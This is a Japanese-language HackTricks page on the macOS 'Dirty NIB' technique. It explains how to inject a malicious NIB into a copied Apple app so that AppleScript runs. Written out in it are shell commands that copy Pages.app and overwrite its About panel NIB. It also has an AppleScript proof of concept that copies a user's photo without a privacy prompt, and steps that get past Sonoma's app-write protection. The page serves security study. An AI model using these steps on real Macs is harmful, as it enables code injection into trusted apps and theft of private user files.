hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md

10 KiB
Raw Blame History

macOS Dirty NIB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

この技術は、以下の投稿から取得されました https://blog.xpnsec.com/dirtynib/

基本情報

NIBファイルは、Appleの開発エコシステムでユーザーインターフェースUI要素とそのアプリケーション内での相互作用を定義するために使用されます。Interface Builderツールで作成され、ウィンドウ、ボタン、テキストフィールドなどのシリアライズされたオブジェクトを含み、設計されたUIを表示するためにランタイムでロードされます。Appleはまだ使用していますが、より視覚的なアプリケーションのUIフローを表現するためにStoryboardを推奨しています。

{% hint style="danger" %} さらに、NIBファイル任意のコマンドを実行するためにも使用でき、NIBファイルがアプリ内で変更されても、Gatekeeperはアプリの実行を許可しますので、アプリケーション内で任意のコマンドを実行するために使用できます。 {% endhint %}

Dirty NIB Injection

まず、新しいNIBファイルを作成する必要があります。構築のためにXCodeを使用します。まず、インターフェースにオブジェクトを追加し、クラスをNSAppleScriptに設定します。

オブジェクトには、ユーザー定義のランタイム属性を使用して、初期のsourceプロパティを設定する必要があります。

これにより、リクエストに応じてAppleScriptを実行するコード実行ガジェットが設定されます。AppleScriptの実行を実際にトリガーするために、現時点ではボタンを追加しますもちろん、これについては創造的になることができます ;))。ボタンは、作成したApple Scriptオブジェクトにバインドされ、executeAndReturnError:セレクタを呼び出します

テストでは、次のApple Scriptを使用します

set theDialogText to "PWND"
display dialog theDialogText

そして、XCodeデバッガでこれを実行し、ボタンをクリックすると

NIBから任意のAppleScriptコードを実行できる能力を持っているので、次にターゲットが必要です。最初のデモとして、私たちはPagesを選びます。これはもちろんAppleのアプリケーションであり、私たちによって変更されるべきではありません。

まず、アプリケーションのコピーを/tmp/に取ります:

cp -a -X /Applications/Pages.app /tmp/

次に、Gatekeeperの問題を回避し、キャッシュされるようにするためにアプリケーションを起動します。

open -W -g -j /Applications/Pages.app

最初にアプリを起動および終了した後、既存のNIBファイルをDirtyNIBファイルで上書きする必要があります。デモの目的で、実行を制御するためにAbout Panel NIBを上書きします。

cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib

一度nibを上書きしたら、Aboutメニューアイテムを選択することで実行をトリガーできます。

Pagesをもう少し詳しく見てみると、ユーザーの写真にアクセスするためのプライベートな権限があることがわかります。

したがって、ユーザーにプロンプトを表示せずに、AppleScriptを修正して写真を盗むPOCをテストすることができます。

{% code overflow="wrap" %}

use framework "Cocoa"
use framework "Foundation"

set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"

grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1

{% endcode %}

{% hint style="danger" %} 任意のコードを実行する悪意のある.xibファイルの例 {% endhint %}

ランチ制約

基本的には、予想される場所以外でアプリケーションを実行することを防ぐためのものです。したがって、ランチ制約で保護されたアプリケーションを/tmpにコピーすると、実行できなくなります。
詳細はこの投稿で確認してください

ただし、ファイル**/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4を解析すると、ランチ制約で保護されていないアプリケーションがまだ見つかるため、それらに任意の場所にNIB**ファイルを注入することができます(これらのアプリケーションを見つける方法については、前のリンクを参照してください)。

追加の保護

macOS Somonaから、アプリ内への書き込みを防ぐ保護があります。ただし、バイナリのコピーを実行する前に、Contentsフォルダの名前を変更すると、この保護を回避することができます。

  1. CarPlay Simulator.app/tmp/にコピーします。
  2. /tmp/Carplay Simulator.app/Contents/tmp/CarPlay Simulator.app/NotConに名前を変更します。
  3. バイナリ/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulatorを実行してGatekeeper内にキャッシュします。
  4. NotCon/Resources/Base.lproj/MainMenu.nibDirty.nibファイルで上書きします。
  5. /tmp/CarPlay Simulator.app/Contentsに名前を変更します。
  6. CarPlay Simulator.appを再度起動します。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥